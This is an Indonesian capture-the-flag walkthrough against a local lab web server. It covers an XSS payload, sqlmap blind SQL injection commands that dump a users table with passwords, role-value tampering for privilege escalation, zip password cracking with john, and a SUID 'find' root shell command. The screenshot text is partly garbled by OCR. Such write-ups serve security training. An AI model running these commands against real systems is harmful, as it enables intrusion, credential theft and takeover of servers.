CAPTURE THE FLAG

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Proses scanning dengan nmap secara keseluruhan host pada segment 192.168.56.0/24 untuk mengetahui port mana saja yang terbuka:

Comand: nmap -sV 192.168.56.0/24



Terdapat 2 host yang aktif, port 80 dan 22:

>192.168.56.108

>192.168.56.107

Dari semua ip yang muncul ketika dicek di search engine ternyata ip web CTF nya terdapat di ip >>>192.168.56.107 | <u>http://192.168.56.107</u>



Didapati celah pada function track id setelah dimasukan payload(xss script js) ini:

<img/src/onerror=prompt(8)> Ketika di inspect dan dibuka di console terdapat flag (XSS) FLAG:

FLAG(Javascript_ezpz)



Terdapat celah pada menu contact, Kita akan menggunakan metode sql injection parameter Post untuk Memanipulasi data agar kita bisa berkomunikasi Ke dalam databases server pada Web CTF

or Any Que	eries	
		*

Tools yang digunakan, SQLmap pada kali linux untuk melakukan sql injection

Command: sqlmap -u 'http://192.168.56.107/contact.php' --batch --data 'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan'

--dbs

untuk menampilkan databases

📉 📖 🗁 🍃 🍲 🗁 🗸 1 2 3 4 🖻
File Actions Edit View Help
- comment)'
[08:21:48] [INFO] testing 'MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
$[08:21:58]$ [INFO] POST parameter 'email' appears to be 'MySQL \ge 5.0.12 AND t ime-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extendi
ng provided level (1) and risk (1) values? $[Y/n] Y$ [08:71:58] [INFO] testing 'Generic UNION query (NULL) = 1 to 20 columns'
[08:21:58] [INFO] automatically extending ranges for UNION query injection te
chnique tests as there is at least one other (potential) technique found [08:21:58] [INFO] checking if the injection point on POST parameter 'email' i
s a false positive
(if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 131 HTTP(s)) requests:
Parameter: email (POST)
Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP) Payload: nama=mans@email=mans@gmail.com' AND (SELECT 2836 FROM (SELECT(SL
EEP(5)))aVOX) AND 'gLNq'='gLNq&subject=faster&message=kerusakan
[08:22:14] [INFO] the back-end DBMS is MySQL
[08:22:14] [WARNING] it is very important to not stress the network connection in during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (opti
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.55 back-end DBMS: MySQL ≥ 5.0.12 (MariaDB fork)
[08:22:19] [INFO] fetching database names
[08:22:19] [INFO] retrieved:
[08:22:29] [INFO] adjusting time delay to 1 second due to good response times 2
[08:22:29] [INFO] retrieved: information_schema
available databases [2]:
[★] information_schema [★] pengiriman
[as:az:sel] [INSO] fotched data logged to text files under '/home/abdurrehman/
local/share/sqlmap/output/192.168.56.107'
[*] ending @ 08:23:59 /2024-03-01/

Terdapat databases :

>information_schema

>pengiriman

Kita akan mencari table yang terdapat di databases pengiriman

command: sqlmap -u 'http://192.168.56.107/contact.php' --batch --data 'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman -tables



Terdapat 2 tabel dari database pengiriman:

>contact_form

>users

Kita akan mencari kolom dari users yang berisi data untuk login admin web CTF

Command: sqlmap -u 'http://192.168.56.107/contact.php' --batch --data 'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman -T users --columns

📉 📖 💼 🍃 🍪 🛀 ~ 1 2	3 4 🖻
File Actions Edit View Help	
File Actions Edit View Help	
Type: time-based blind Title: MySQL > 5.0.12 AND time Pavload: nama=mans&email=mans@g	-based blind (query SLEEP) mail.com' AND (SELECT 2836 FROM (SELECT(SL
EEP(5)))aVOX) AND 'gLNq'='gLNq&subj	ect=faster&message=kerusakan
	is hused
web server operating system: Linux	Ubuntu
web application technology: Apache	2.4.55
back-end DBMS: MySQL ≥ 5.0.12 (Mar	iaDB fork)
[08:35:30] [INFO] fetching columns	for table 'users' in database 'pengiriman'
please wait	(done)
do you want sqlmap to try to optimi:	ze value(s) for DBMS delay responses (opti
on 'time-sec')? [Y/n] Y	
[08:35:37] [WARNING] it is very imp	ortant to not stress the network connectio
5	us to prevent potentiat disruptions
[08:35:42] [INFO] retrieved:	
[08:35:47] [INFO] adjusting time de	lay to 1 second due to good response times
id	
[08:35:52] [INFO] retrieved: int(11	
[08:36:42] [INFO] retrieved: varcha	me (255)
[08:37:20] [INFO] retrieved: email	
[08:37:33] [INFO] retrieved: varcha:	r(255)
[08:38:12] [INFO] retrieved: passwo:	
[08:38:41] [INFO] retrieved: varcha	
[08:39:46] [INFO] retrieved: varcha	(255)
Database: pengiriman	
Table: users	
[5 columns]	
I Column I Type I	
++	
email varchar(255)	
1d 1nt(11)	
role id varchar(255)	
username varchar(255)	
[08:40:25] [INFO] fetched data logg .local/share/solmap/output/192.168.	ed to text files under '/home/abdurrohman/ 56.107'
[*] ending @ 08:40:25 /2024-03-01/	
<pre>(abdurrohman le kali)-[~]</pre>	

Terdapat (email,id ,password,role_id,username) kita akan nge dump data dari table users

Command: sqlmap -u 'http://192.168.56.107/contact.php' --batch --data 'nama=mans&email=mans@gmail.com&subject=faster&message=kerusakan' -D pengiriman -T users -C email,id,password,role_id,username --dump

```
~ ا_ ف
                                                                                      •
                                                                       3
                                                                               4
F
                                Terminal Emulator
          Action $-
 File
                           Use the command line
Title. MySQL > 5.0.12 AND time-based blind (query SLEEP)
Payload: nama=mans&email=mans@gmail.com' AND (SELECT 2836 FROM (SELECT(SL
EEP(5)))aVOX) AND 'gLNq'='gLNq&subject=faster&message=kerusakan
a
[08:53:14] [INFO] adjusting time delay to 1 second due to good response times
dmin@zerobyte.id
[08:54:06] [INFO] retrieved: 1
[08:55:03] [INFO] retrieved: NgehekAdminYuk!
[08:55:03] [INFO] retrieved: 1
[08:55:05] [INFO] retrieved: admin
[08:55:20] [INFO] retrieved: suhada@zerobyte.id
[08:56:17] [INFO] retrieved: 2
[08:56:21] [INFO] retrieved: 0xshdaxLowUSER!
[08:57:12] [INFO] retrieved: 1
[08:57:14] [INFO] retrieved: suhada
Database: pengiriman
Database: pengiriman
Table: users
[2 entries]
   email
                                         | id |
                                                                                     | role id |
                                                     password
                                                                                                           username
                                                                                                                             NgehekAdminYuk!
    admin@zerobyte.id
suhada@zerobyte.id
                                                                                         1
                                                                                                           admin
                                                      ØxshdaxLowUSER!
                                                                                                            suhada
[08:57:31] [INFO] table 'pengiriman.users' dumped to CSV file '/home/abdurroh
man/.local/share/sqlmap/output/192.168.56.107/dump/pengiriman/users.csv'
[08:57:31] [INFO] fetched data logged to text files under '/home/abdurrohman/
.local/share/sqlmap/output/192.168.56.107'
[*] ending @ 08:57:31 /2024-03-01/
```

Di dapati 2 email login dan password

Email	Password
admin@zerobyte.id	NgehekAdminYuk!
suhada@zerobyte.id	OxshdaxLowUSER!

Lanjut... kita akan login admin web CTF

Supaya halaman admin muncul ketik dibelakang url web CTF /admin/ Dan kita akan masuk dengan email <u>suhada@zerobyte.id</u> sebagai low user

← C		2 AN 8	☆) �	巾 ∕≦	¢ ھ	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Halaman Login - Administrator					
	Email address suhada@zerobyte.id					
	Password					
	LOGIN					

Jika sudah klik login tampilan web akan seperti ini

ampleadmin				Search	h Q	suhada@zerobyte.id
() Dashboard	Dashboard					Dashboard
Profile	Total Visit	659	Total Page Views	869	Unique Visitor	911
	Products Yearly Congratsl Anda berhar FLAG{0xSQL1nJecT10n_E	Sales sil melakukan SQL Inje 21 ind)	ction dan masuk kedalam Das	hboard	Mar	c • Windows
	2 K 6.5k 6k 5.5k					

Terdapat flag pada halaman admin low user: FLAG:

(SQL INJECTION)

FLAG{0xSQL!nJecT!0n_Blind)

Lanjut... setelah ini mengubah hak Low user menjadi super user/root pada email suhada untuk mendapatkan file credential.zip. diwebsite CTF ini terdapat celah miskonfigurasi, pada function update role program yang dimana seharusnya low user tidak mendapatkan hak akses super user/root karna memungkinkan untuk user mengganti role



Klik profile setelah itu inspect pada bagian password

Setelah itu masuk ke bagian role_id cari di value="2"

Lalu kita ganti dengan value="1"





Lalu update profile pada halaman login admin

Klik pada menu Files

	ampleadmin				Search	۹ 🏮	suhada@zerobyte.id	Q
0	Dashboard	Files					Files	
•	Profile							£X
	Files	Files	Anda borbacil molakukan Briu	ilogo Ecculation (Prokon Access Con	fiat			0
	Logout	FLAG{ØXPI	<pre>Privilege3scalation_BAC)</pre>	nege escalation (proken Access con	linoty			•
		#	Name		Action			8.
		1	Credentials.zip		Download			+
				2021 © Ample Admin brought to				(X)
				2021 © Ample Admin brought to	o you by wrappixer.com			ŝ

Terdapat flag pada halaman admin di menu Files

(Previlage Escalation/Broken Access Control) FLAG:

FLAG{0xPr!vilege3scalation_BAC)

 Name
 Type
 Compressed size
 Password pr...
 Size
 Ratio
 Date modified

 Image: Size access-ssh bat
 Text Document
 1 K8
 Yes
 1 K8
 9%
 2/8/2024 12:30 AM

 Image: Size access-ssh bat
 Text Document
 1 K8
 Yes
 1 K8
 9%
 2/8/2024 12:30 AM

 Image: Size access-ssh bat
 Text Document
 1 K8
 Yes
 1 K8
 9%
 2/8/2024 12:30 AM

 Image: Size access-ssh bat
 Text Document
 1 K8
 Yes
 1 K8
 9%
 2/8/2024 12:30 AM

 Image: Size access-ssh bat
 Text Document
 Image: Size access-ssh bat
 Image: Size access-ssh bat</td

Lalu kita akan membuka file credential.zip untuk SSH kedalam server dengan keadaan terkunci

Selanjutnya kita akan membypass filenya dengan kali linux tools john, kita download dulu filenya di kali linux dan di jadikan hash filenya dengan command:

Wget http://192.168.56.107/admin/dashboard/Files Backup2024/Credentials.zip (download)

zip2john Credentials.zip > zip.hash (converter file)



Lalu kita akan nge brute force filenya dengan tools john menggunakan wordlist rockyou.txt



Kemudian masukan username dan password yang muncul setelah terbuka filenya



Terdapat flag pada file credentials.zip (john crack) FLAG:

FLAG{0xJ0hnCr4ckM3}

Kita akan meng SSH Server dari web CTF nya

Command: ssh <u>ichigo@192.168.56.107</u>

Dan masukan password

🖭 ichigo@ubuntu: ~
Microsoft Windows [Version 10.0.22631.3235]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>ssh ichigo@192.168.56.107
The authenticity of host '192.168.56.107 (192.168.56.107)' can't be established.
ED25519 key fingerprint is SHA256:k1jnhP79JOEZ8DnhpIFL9vKiNf0/bXitHZZ+Z/LnhI8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.56.107' (ED25519) to the list of known hosts.
ichig@192.168.56.107's password:
Permission denied, please try again.
ichig@192.168.56.107's password:
Permission denied, please try again.
ichig@192.168.56.107's password:
Welcome to Ubuntu 23.04 (GNU/Linux 6.2.0-20-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This suctant has been minimized by provide analysis and contact that and
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
last login: Sat Feb 24 07:37:45, 2024
ichizo@ubuntu:~\$

Terdapat flag ketika kita tampilkan flagnya dengan command: cat flag.txt

FLAG{0xLowUs3rw!thSSH}

(Low User SSH)

Langkah selanjutnya kita harus menjadikan user ichigo ini menjadi root

Kita akan mencari file yang memiliki previlage seperti root agar Ketika kita masukan/memanggil filenya kita dapat hak akses seperti root caranya masukan

Command: Is -Ihn /usr/bin

🔤 ichigo@u	bu	ntu	:~					
-rwxr-xr-x	1	0	Ø	47K	Jan	10	2023	env
-rwxr-xr-x	1	0	ø	35K	Jan	31	2023	envsubst
-rwxr-xr-x	1	ø	0	197K	Mar	7	2023	eqn
-rwxr-xr-x	1	ø	0	35K	Jan	10	2023	expand
-rwxr-sr-x	1	ø	42	23K	Nov	23	2022	expiry
-rwxr-xr-x	1	0	0	47K	Jan	10	2023	expr
-rwxr-xr-x	1	0	0	71K	Jan	10	2023	factor
-rwxr-xr-x	1	0	0	23K	Nov	23	2022	faillog
-rwxr-xr-x	1	0	0	31K	Mar	2	2023	faked-sysv
-rwxr-xr-x	1	0	0	31K	Mar	2	2023	faked-tcp
lrwxrwxrwx	1	0	0	26	Mar	2	2023	fakeroot -> /etc/alternatives/fakeroot
-rwxr-xr-x	1	0	0	4.0К	Mar	2	2023	fakeroot-sysv
-rwxr-xr-x	1	0	0	з.9К	Mar	2	2023	fakeroot-tcp
-rwxr-xr-x	1	ø	Ø	27K	Nov	28	2022	fallocate
-rwxr-xr-x	1	ø	0	27K	Jan	10	2023	false
-rwxr-xr-x	1	ø	0	15K	Oct	26	13:37	fcgistarter
-rwxr-xr-x	1	ø	0	15K	Nov	16	2022	fgconsole
-rwxr-xr-x	1	ø	0	41	Jan	24	2023	fgrep
-rwxr-xr-x	1	0	0	51K	Nov	6	2022	filan
-rwxr-xr-x	1	0	0	2.1K	Feb	16	2022	finalrd
-rwxr-xr-x	1	0	0	23K	Nov	28	2022	fincore
-rwsr-xr-x	1	ø	0	204K	Aug	19	2022	find
-rwxr-xr-x	1	0	0	68K	Nov	28	2022	findmnt
-rwxr-xr-x	1	0	0	23K	Nov	28	2022	flock
-rwxr-xr-x	1	ø	0	39K	Jan	10	2023	fmt
-rwxr-xr-x	1	0	0	35K	Jan	10	2023	fold
-rwxr-xr-x	1	0	0	27K	Nov	6	12:12	free
-rwxr-xr-x	1	0	0	23K	Aug	23	2022	funzip
-rwxr-xr-x	1	0	0	40K	Dec	13	2022	fuser
lrwxrwxrwx	1	0	0	11	Mar	17	2023	fusermount -> <mark>fusermount3</mark>

Terdapat salah satu file yang memiliki hak akses sama seperti root "find"

Sekarang kita dapat mengeksekusi file find dengan command:

find . -exec /bin/sh -p \; -quit

🖭 ichigo@ubunt	:u: ~					weight a start of the start of	
-rwxr-xr-x 1 0	0	6.4K	Aug	16	2022	zdiff	
-rwxr-xr-x 1 0	0	27K	Nov	22	13:31	zdump	
-rwxr-xr-x 1 0	0	29	Aug	16	2022	zegrep	
-rwxr-xr-x 1 0	0	29	Aug	16	2022	zfgrep	
-rwxr-xr-x 1 0	0	2.1K	Aug	16	2022	zforce	
-rwxr-xr-x 1 0	0	8.0K	Aug	16	2022	zgrep	
-rwxr-xr-x 1 0	0	69K	Nov	23	14:55	zipdetails	
-rwxr-xr-x 1 0	0	2.9K	Aug	23	2022	zipgrep	
-rwxr-xr-x 2 0	0	171K	Aug	23	2022	zipinfo	
-rwxr-xr-x 1 0	0	2.2K	Aug	16	2022	zless	
-rwxr-xr-x 1 0	0	1.8K	Aug	16	2022	zmore	
-rwxr-xr-x 1 0	0	4.5K	Aug	16	2022	znew	
-rwxr-xr-x 1 0	0	967K	Mar	8	2023	zstd	
lrwxrwxrwx 1 0	0	4	Mar	8	2023	zstdcat -> zstd	
-rwxr-xr-x 1 0	0	3.8K	Mar	8	2023	zstdgrep	
-rwxr-xr-x 1 0	0	197	Mar	8	2023	zstdless	
lrwxrwxrwx 1 0	0	4	Mar	8	2023	zstdmt -> zstd	
ichigo@ubuntu:	~\$ fi	ind .	-exe	c /	bin/sh	-p \; -quit	
# whoami							
root							
# ls							
flag.txt							
# cat /root/fl	ag.t>	٢t					
Congrats! Anda	i suda	ah ber	rhasi	1 s	ejauh i	lni!	
Saya harap anda belajar lebih giat lagi untuk menjadi Profesional dibidang Security!							
FLAG{R0ot!s34s	y}						

Ok kita berhasil masuk ssh sebagai root dan kita berhasil menemukan flag Ketika kita memasukan command :

Cat /root/flag.txt

Flag{Root!s34sy}

Daftar Flag

- FLAG(Javascript_ezpz)
- 2. FLAG{0xSQL!nJecT!0n_Blind)
- 3. FLAG{0xPr!vilege3scalation_BAC)
- 4. FLAG{0xJ0hnCr4ckM3}
- 5. FLAG{0xLowUs3rw!thSSH}
- 6. Flag{Root!s34sy}